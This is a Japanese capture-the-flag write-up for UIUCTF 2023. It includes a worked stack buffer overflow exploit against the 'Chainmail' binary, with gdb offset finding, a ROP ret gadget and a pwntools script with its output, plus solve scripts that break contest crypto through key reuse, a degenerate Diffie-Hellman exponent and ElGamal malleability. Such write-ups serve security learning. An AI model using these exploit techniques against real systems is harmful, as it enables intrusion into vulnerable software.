この大会は2023/7/1 9:00(JST)~2023/7/3 9:00(JST)に開催されました。
今回もチームで参戦。結果は351点で818チーム中255位でした。
自分で解けた問題をWriteupとして書いておきます。
Join our Discord (misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
uiuctf{new_era_of_CTFing}
Finding Artifacts 1 (osint)
Googleで「New York City "Excellent One" bronze statue museum」を調べる。Rubin Museum of ArtのMahakalaの像であることがわかる。
uiuctf{rubin_museum_of_art}
Chainmail (pwn)
BOFでgive_flag関数をコールする。
$ gdb -q ./chal Reading symbols from ./chal... (No debugging symbols found in ./chal) gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /media/sf_Shared/chal [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Hello, welcome to the chain email generator! Please give the name of a recipient: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Okay, here's your newly generated chainmail message! Hello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL, Have you heard the news??? Send this email to 10 friends or else you'll have bad luck! Your friend, Jim Program received signal SIGSEGV, Segmentation fault. Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffdee8 --> 0x7fffffffe25c ("/media/sf_Shared/chal") RCX: 0x0 RDX: 0x0 RSI: 0x7fffffffbc60 ("Okay, here's your newly generated chainmail message!\n\nHello AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL,\nHave you heard the news??? Send this e"...) RDI: 0x7fffffffbb40 --> 0x7ffff7e19e70 (<__funlockfile>: mov rdi,QWORD PTR [rdi+0x88]) RBP: 0x4141334141644141 ('AAdAA3AA') RSP: 0x7fffffffddd8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") RIP: 0x40133b (<main+179>: ret) R8 : 0x0 R9 : 0x73 ('s') R10: 0x0 R11: 0x202 R12: 0x0 R13: 0x7fffffffdef8 --> 0x7fffffffe272 ("CLUTTER_IM_MODULE=xim") R14: 0x403e18 --> 0x4011e0 (<__do_global_dtors_aux>: endbr64) R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401330 <main+168>: call 0x4010e0 <printf@plt> 0x401335 <main+173>: mov eax,0x0 0x40133a <main+178>: leave => 0x40133b <main+179>: ret 0x40133c <_fini>: endbr64 0x401340 <_fini+4>: sub rsp,0x8 0x401344 <_fini+8>: add rsp,0x8 0x401348 <_fini+12>: ret [------------------------------------stack-------------------------------------] 0000| 0x7fffffffddd8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0x7fffffffdde0 ("AJAAfAA5AAKAAgAA6AAL") 0016| 0x7fffffffdde8 ("AAKAAgAA6AAL") 0024| 0x7fffffffddf0 --> 0x4c414136 ('6AAL') 0032| 0x7fffffffddf8 --> 0x7fffffffdee8 --> 0x7fffffffe25c ("/media/sf_Shared/chal") 0040| 0x7fffffffde00 --> 0x7fffffffdee8 --> 0x7fffffffe25c ("/media/sf_Shared/chal") 0048| 0x7fffffffde08 --> 0xac4b37dbdf0a15c9 0056| 0x7fffffffde10 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040133b in main () gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72 $ ROPgadget --binary chal | grep ": ret" 0x000000000040101a : ret
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('chainmail.chal.uiuc.tf', 1337) data = p.recvline().decode() print(data) else: p = process('./chal') ret_addr = 0x40101a elf = ELF('./chal') give_flag_addr = elf.symbols['give_flag'] payload = b'A' * 72 payload += p64(ret_addr) payload += p64(give_flag_addr) data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvrepeat(1).decode() print(data)
実行結果は以下の通り。
[+] Opening connection to chainmail.chal.uiuc.tf on port 1337: Done == proof-of-work: disabled == [*] '/media/sf_Shared/chal' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Hello, welcome to the chain email generator! Please give the name of a recipient: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00' Okay, here's your newly generated chainmail message! Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@, Have you heard the news??? Send this email to 10 friends or else you'll have bad luck! Your friend, Jim uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1} [*] Closed connection to chainmail.chal.uiuc.tf port 1337
uiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}
Three-Time Pad (crypto)
p2, c2からXOR鍵を求め、c1, c3を復号する。
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor with open('c1', 'rb') as f: c1 = f.read() with open('c2', 'rb') as f: c2 = f.read() with open('c3', 'rb') as f: c3 = f.read() with open('p2', 'rb') as f: p2 = f.read() key = strxor(c2, p2) p1 = strxor(key[:len(c1)], c1).decode() p3 = strxor(key[:len(c3)], c3).decode() print('[+] p1:', p1) print('[+] p3:', p3)
実行結果は以下の通り。
[+] p1: before computers, one-time pads were sometimes [+] p3: uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}
uiuctf{burn_3ach_k3y_aft3r_us1ng_1t}
At Home (crypto)
暗号化処理の概要は以下の通り。
・a, b, a_, b_: ランダム256ビット整数 ・M = a * b - 1 ・e = a_ * M + a ・d = b_ * M + b ・n = (e * d - 1) // M ・c = (flag * e) % n ・e, n, cを出力
関係するのは最後の式だけで、逆算すればよい。
flag = c * inverse(e, n) % n
#!/usr/bin/env python3 from Crypto.Util.number import * with open('chal.txt', 'r') as f: params = f.read().splitlines() e = int(params[0].split(' ')[-1]) n = int(params[1].split(' ')[-1]) c = int(params[2].split(' ')[-1]) flag = c * inverse(e, n) % n flag = long_to_bytes(flag).decode() print(flag)
uiuctf{W3_hav3_R5A_@_h0m3}
Group Project (Crypto)
サーバの処理概要は以下の通り。
・g = 2 ・p: 1024ビット素数 ・a: ランダム2以上p-1以下整数 ・A = pow(g, a, p) ・g, p, Aを表示 ・k: 数値入力(1, p - 1, (p - 1) // 2はNG) ・Ak = pow(A, k, p) ・b: ランダム2以上p-1以下整数 ・B = pow(g, b, p) ・Bk = pow(B, k, p) ・S = pow(Bk, a, p) ・key: Sのバイト文字列化したもののmd5ダイジェスト ・c: flagをパディングしてkeyでAES-ECB暗号化したものを数値化したもの ・cを表示
kに0を指定すると、以下のようになりkeyが決まるがk=0もNGらしい。
S = pow(Bk, a, p) = pow(pow(B, k, p), a, p) = pow(1, a, p) = 1
kに(p - 1) * 2を指定しても上記が言える。あとは算出したkeyを元にAES復号すればよい。
#!/usr/bin/env python3 import socket from Crypto.Util.number import* import hashlib from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('group.chal.uiuc.tf', 1337)) for _ in range(3): data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) g = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) p = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) A = int(data.split(' ')[-1]) k = (p - 1) * 2 data = recvuntil(s, b'= ') print(data + str(k)) s.sendall(str(k).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) c = int(data.split(' ')[-1]) ct = long_to_bytes(c) S = 1 key = hashlib.md5(long_to_bytes(S)).digest() cipher = AES.new(key, AES.MODE_ECB) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag)
実行結果は以下の通り。
== proof-of-work: disabled == [$] Did no one ever tell you to mind your own business?? [$] Public: [$] g = 2 [$] p = 171517180239603147748754763055885210766763443249526599387850933905946783745593928568550240388917208790649676438616017005270449274628162054489611630999307597722124543957720241867138020405232931030820036320601908181403624267977740464458530595221663870369362692926558178214658585953389656805214695381374534853823 [$] A = 162898556279073024067746182375835370371640969262197269884245608663733972171085178912391086974508887170808039826290905198138853327771724460512804241465792988864379730836342995633398247462965842758525170545281634105261020688919323894622487462149664772922212676174365873595494665848835166604479630176685528386044 [$] Choose k = 343034360479206295497509526111770421533526886499053198775701867811893567491187857137100480777834417581299352877232034010540898549256324108979223261998615195444249087915440483734276040810465862061640072641203816362807248535955480928917061190443327740738725385853116356429317171906779313610429390762749069707644 [$] Ciphertext using shared 'secret' ;) [$] c = 31383420538805400549021388790532797474095834602121474716358265812491198185235485912863164473747446452579209175051706 uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}
uiuctf{brut3f0rc3_a1n't_s0_b4d_aft3r_all!!11!!}
Morphing Time (crypto)
サーバの処理概要は以下の通り。
・g = 2 ・p: 512ビット素数 ・a: ランダム2以上p - 1以下整数 ・A = pow(g, a, p) ・decrypt = decrypt_setup(a, p) ・decrypt関数を返却 ・encrypt = encrypt_setup(p, g, A) ・encrypt関数を返却 ・g, p, Aを表示 ・c1, c2 = encrypt(flag) ・k: ランダム2以上p - 1以下整数 ・c1 = pow(g, k, p) ・c2 = (flag, k, p) ・c2 = (m * c2) % p ・c1, c2を返却 ・c1, c2を表示 ・c1_: 数値入力(1より大きくp-1未満) ・c2_: 数値入力(1より大きくp-1未満) ・m = decrypt((c1 * c1_) % p, (c2 * c2_) % p) ・m = (c2 * c2_) * pow(pow(c1 * c1_, a, p), -1, p) % p ・m を返却 ・mを表示
ElGamal暗号になっている。
A = pow(g, a, p) c1 = pow(g, k, p) c2 = m * pow(A, k, p) % p = m * pow(g, a * k, p) % p m = c2 * pow(pow(c1, a, p), -1, p) % p
c1_ = 2, c2_ = 2を指定すると、以下のように復号される。
m_ = (c2 * 2) * pow(pow(c1 * 2, a, p), -1 , p) % p = 2 * c2 * pow(pow(c1, a, p), -1, p) * pow(pow(2, a, p), -1 , p) % p = 2 * m * pow(A, -1, p) % p
mは以下のように計算でき、フラグを復号できる。
m = m_ * pow(pow(A, -1, p) * 2, -1, p) % p
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('morphing.chal.uiuc.tf', 1337)) for _ in range(3): data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) g = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) p = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) A = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) c1 = int(data.split(' ')[-1]) data = recvuntil(s, b'\n').rstrip() print(data) c2 = int(data.split(' ')[-1]) c1_ = g c2_ = 2 data = recvuntil(s, b'= ') print(data + str(c1_)) s.sendall(str(c1_).encode() + b'\n') data = recvuntil(s, b'= ') print(data + str(c2_)) s.sendall(str(c2_).encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) m_ = int(data.split(' ')[-1]) m = m_ * pow(pow(A, -1, p) * c2_, -1, p) % p flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode() print(flag)
実行結果は以下の通り。
== proof-of-work: disabled == [$] Welcome to Morphing Time [$] Public: [$] g = 2 [$] p = 8141013841987034528839350611704093172569989393364238903153577108387553169050092234809006696338327797082893697373656453466678969840535641749055480404573367 [$] A = 4267031073342096021745264846614566934245528537578102795925975746318517714567399987929669615387151524512671529233079213991658885267456314432774379122993154 [$] Eavesdropped Message: [$] c1 = 6423532444799096145333512375643899678824729093543715427317148791948351222584164498455164188931927874083272030748492302583271555223444095872006662783829300 [$] c2 = 884790218946545359353312338100169717670890695792592368742147725066592579792331540801787279429970394365177086307254597068367915340849777970669667246833763 [$] Give A Ciphertext (c1_, c2_) to the Oracle: [$] c1_ = 2 [$] c2_ = 2 [$] Decryption of You-Know-What: [$] m = 4713807580966427506969011056531626226408320334665974231235617973996288936401562149542793864295519301661608021850162161164713987066644455537292108271817140 uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}
uiuctf{h0m0m0rpi5sms_ar3_v3ry_fun!!11!!11!!}
Feedback Survey (misc)
アンケートに答えたら、フラグが表示された。
uiuctf{th4nks_4_p14ying_h0p3_y0u_h4d_fun!!!}